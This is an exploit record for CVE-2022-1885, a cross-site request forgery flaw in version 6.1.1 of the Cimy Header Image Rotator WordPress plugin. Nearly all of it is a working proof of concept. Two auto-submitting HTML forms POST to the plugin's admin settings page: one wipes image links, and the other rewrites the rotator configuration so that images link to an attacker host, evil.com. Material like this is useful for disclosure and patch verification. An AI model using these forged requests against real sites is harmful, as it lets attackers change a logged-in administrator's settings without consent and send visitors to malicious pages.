CVE: CVE-2022-1885

Name: Cimy Header Image Rotator (cimy-header-image-rotator)

Version: 6.1.1

Date: 2022-04-24 14:07:45

Advisory: https://wpscan.com/vulnerability/8416cbcf-086d-42ff-b2a4-f3954c8ff0c8

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=cimy_header_image_rotator#cimy_hir_file_options" method="POST">
    <input type="text" name="filelinks[69wclb.jpg]" value="">
    <input type="text" name="filetext[69wclb.jpg]" value="">
    <input type="text" name="filelinks[69wcmd.jpg]" value="">
    <input type="text" name="filetext[69wcmd.jpg]" value="">
    <input type="text" name="submitButtonName" value="Änderungen speichern">
</form>
<script>
    document.forms[0].submit();
</script>


<form action="https://example.com/wp-admin/options-general.php?page=cimy_header_image_rotator#cimy_hir_file_options" method="POST">
    <input type="text" name="cimy_hir_post" value="1">
    <input type="text" name="hir_name" value="Main">
    <input type="text" name="hir_images_source" value="plugin">
    <input type="text" name="hir_swap_rate" value="3">
    <input type="text" name="hir_swap_type" value="s">
    <input type="text" name="hir_div_id" value="cimy_div_id_0">
    <input type="text" name="hir_border" value="1">
    <input type="text" name="hir_div_width" value="400">
    <input type="text" name="hir_div_height" value="200">
    <input type="text" name="hir_fade" value="0">
    <input type="text" name="hir_move_effect" value="none">
    <input type="text" name="hir_speed" value="10">
    <input type="text" name="hir_from_topleft_zoom" value="1">
    <input type="text" name="hir_to_bottomright_zoom" value="1.5">
    <input type="text" name="hir_from_bottomright_zoom" value="1">
    <input type="text" name="hir_to_topleft_zoom" value="1.5">
    <input type="text" name="hir_from_topright_zoom" value="1">
    <input type="text" name="hir_to_bottomleft_zoom" value="1.5">
    <input type="text" name="hir_from_bottomleft_zoom" value="1">
    <input type="text" name="hir_to_topright_zoom" value="1.5">
    <input type="text" name="hir_start_from" value="image_zero">
    <input type="text" name="hir_file_link" value="https://evil.com">
    <input type="text" name="hir_link_target" value="_blank">
    <input type="text" name="hir_file_text" value="">
    <input type="text" name="submitButtonName" value="Änderungen speichern">
</form>
<script>
    document.forms[0].submit();
</script>